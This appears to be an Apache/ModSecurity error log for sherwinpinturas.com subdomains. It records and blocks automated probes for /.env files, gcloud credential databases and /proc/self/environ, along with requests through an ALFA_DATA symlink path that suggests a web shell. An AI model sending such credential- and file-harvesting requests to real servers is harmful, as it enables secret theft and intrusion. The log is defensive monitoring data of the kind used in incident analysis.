[Sun Oct 25 18:04:09.796679 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582RVtY6H0wJd2uaILjAAAADA"]
[Sun Oct 25 18:04:09.797195 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582RVtY6H0wJd2uaILjAAAADA"]
[Sun Oct 25 18:04:09.797510 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582RVtY6H0wJd2uaILjAAAADA"]
[Sun Oct 25 18:04:09.800108 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582S-78Dm3HCMHomsJmwAAAAY"]
[Sun Oct 25 18:04:09.800402 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582S-78Dm3HCMHomsJmwAAAAY"]
[Sun Oct 25 18:04:09.800640 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582S-78Dm3HCMHomsJmwAAAAY"]
[Sun Oct 25 18:04:09.874278 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at582aOlt30vsK62APprJQAAAA8"]
[Sun Oct 25 18:04:09.874957 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at582aOlt30vsK62APprJQAAAA8"]
[Sun Oct 25 18:04:09.875323 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at582aOlt30vsK62APprJQAAAA8"]
[Sun Oct 25 18:04:14.445592 2026] [ssl:error] [pid 2910035:tid 2910035] (70014)End of file found: [client 100.29.107.38:36828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:14.445805 2026] [security2:error] [pid 2910035:tid 2910035] [client 100.29.107.38:36828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:17/uevent"] [unique_id "at583iVyBxUr2dtyqLCTVAAAAEw"]
[Sun Oct 25 18:04:14.445842 2026] [security2:error] [pid 2910035:tid 2910035] [client 100.29.107.38:36828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:17/uevent"] [unique_id "at583iVyBxUr2dtyqLCTVAAAAEw"]
[Sun Oct 25 18:04:14.470524 2026] [ssl:error] [pid 2910037:tid 2910037] (70014)End of file found: [client 54.164.106.236:61598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:20.846775 2026] [core:error] [pid 2910041:tid 2910041] (13)Permission denied: [client 174.68.175.38:44416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ipt_REJECT/sections/__mcount_loc
[Sun Oct 25 18:04:24.596345 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 144.124.192.16:50845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ipt_REJECT/sections/__mcount_loc
[Sun Oct 25 18:04:26.881586 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 82.12.208.26:33835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ipt_REJECT/sections/__mcount_loc
[Sun Oct 25 18:04:38.347792 2026] [ssl:error] [pid 2910032:tid 2910032] (70014)End of file found: [client 18.204.152.114:38223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:38.920070 2026] [core:error] [pid 2910034:tid 2910034] (13)Permission denied: [client 85.208.96.195:37632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slab_size
[Sun Oct 25 18:04:42.721188 2026] [ssl:error] [pid 2910041:tid 2910041] (70014)End of file found: [client 3.218.35.239:42003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:45.050196 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 72.218.216.186:38440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/hwcache_align
[Sun Oct 25 18:04:46.477009 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 54.80.73.122:47944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/device:04/physical_node/resource0
[Sun Oct 25 18:04:46.653937 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 104.231.4.181:55015] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/hwcache_align
[Sun Oct 25 18:04:48.248287 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 216.10.217.90:23032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/object_size
[Sun Oct 25 18:04:49.364858 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 102.171.255.154:6924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/hwcache_align
[Sun Oct 25 18:04:50.980761 2026] [ssl:error] [pid 2910032:tid 2910032] (70014)End of file found: [client 3.223.134.5:31226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:51.514176 2026] [core:error] [pid 2910036:tid 2910036] (13)Permission denied: [client 46.16.224.175:3755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/object_size
[Sun Oct 25 18:04:54.308010 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 67.181.192.16:59613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/object_size
[Sun Oct 25 18:04:54.332226 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 184.73.35.182:36182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:03/physical_node/resource0_wc
[Sun Oct 25 18:05:06.689255 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:41910] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "at59EuB_1dbJQPYLGME2HQAAAAQ"]
[Sun Oct 25 18:05:06.689642 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:41910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "at59EuB_1dbJQPYLGME2HQAAAAQ"]
[Sun Oct 25 18:05:06.689881 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:41910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "at59EuB_1dbJQPYLGME2HQAAAAQ"]
[Sun Oct 25 18:05:06.707583 2026] [security2:error] [pid 2907640:tid 2907640] [client 195.178.110.94:41894] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at59EgYZaEKvpE7JCm_rLwAAAAA"]
[Sun Oct 25 18:05:06.708247 2026] [security2:error] [pid 2907640:tid 2907640] [client 195.178.110.94:41894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at59EgYZaEKvpE7JCm_rLwAAAAA"]
[Sun Oct 25 18:05:06.708653 2026] [security2:error] [pid 2907640:tid 2907640] [client 195.178.110.94:41894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at59EgYZaEKvpE7JCm_rLwAAAAA"]
[Sun Oct 25 18:05:11.011793 2026] [ssl:error] [pid 2910032:tid 2910032] (70014)End of file found: [client 34.231.118.144:20587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:05:14.629742 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 3.213.213.161:16780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:05:15.317010 2026] [security2:error] [pid 2904909:tid 2904909] [client 195.178.110.94:35544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at59G_Zp8j_cPCCtviRO1wAAAAU"]
[Sun Oct 25 18:05:15.317309 2026] [security2:error] [pid 2904909:tid 2904909] [client 195.178.110.94:35544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at59G_Zp8j_cPCCtviRO1wAAAAU"]
[Sun Oct 25 18:05:15.317661 2026] [security2:error] [pid 2904909:tid 2904909] [client 195.178.110.94:35544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at59G_Zp8j_cPCCtviRO1wAAAAU"]
[Sun Oct 25 18:05:15.322114 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:35568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at59G-B_1dbJQPYLGME2HwAAAAQ"]
[Sun Oct 25 18:05:15.322274 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:35568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at59G-B_1dbJQPYLGME2HwAAAAQ"]
[Sun Oct 25 18:05:15.322510 2026] [security2:error] [pid 2909552:tid 2909552] [client 195.178.110.94:35568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at59G-B_1dbJQPYLGME2HwAAAAQ"]
[Sun Oct 25 18:05:15.323368 2026] [security2:error] [pid 2910034:tid 2910034] [client 195.178.110.94:35578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at59G9_u1hsWPILST9fksgAAAEs"]
[Sun Oct 25 18:05:15.323566 2026] [security2:error] [pid 2910034:tid 2910034] [client 195.178.110.94:35578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at59G9_u1hsWPILST9fksgAAAEs"]
[Sun Oct 25 18:05:15.323799 2026] [security2:error] [pid 2910034:tid 2910034] [client 195.178.110.94:35578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at59G9_u1hsWPILST9fksgAAAEs"]
[Sun Oct 25 18:05:15.324072 2026] [security2:error] [pid 2910146:tid 2910146] [client 195.178.110.94:35584] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at59G5iJomWvHBCO7kdY9AAAAAY"]
[Sun Oct 25 18:05:15.324249 2026] [security2:error] [pid 2910146:tid 2910146] [client 195.178.110.94:35584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at59G5iJomWvHBCO7kdY9AAAAAY"]
[Sun Oct 25 18:05:15.324604 2026] [security2:error] [pid 2910146:tid 2910146] [client 195.178.110.94:35584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at59G5iJomWvHBCO7kdY9AAAAAY"]
[Sun Oct 25 18:05:15.327240 2026] [security2:error] [pid 2910041:tid 2910041] [client 195.178.110.94:35556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at59G-lUNgYIgSEWDwowIQAAAFI"]
[Sun Oct 25 18:05:15.327409 2026] [security2:error] [pid 2910041:tid 2910041] [client 195.178.110.94:35556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at59G-lUNgYIgSEWDwowIQAAAFI"]
[Sun Oct 25 18:05:15.327664 2026] [security2:error] [pid 2910041:tid 2910041] [client 195.178.110.94:35556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at59G-lUNgYIgSEWDwowIQAAAFI"]
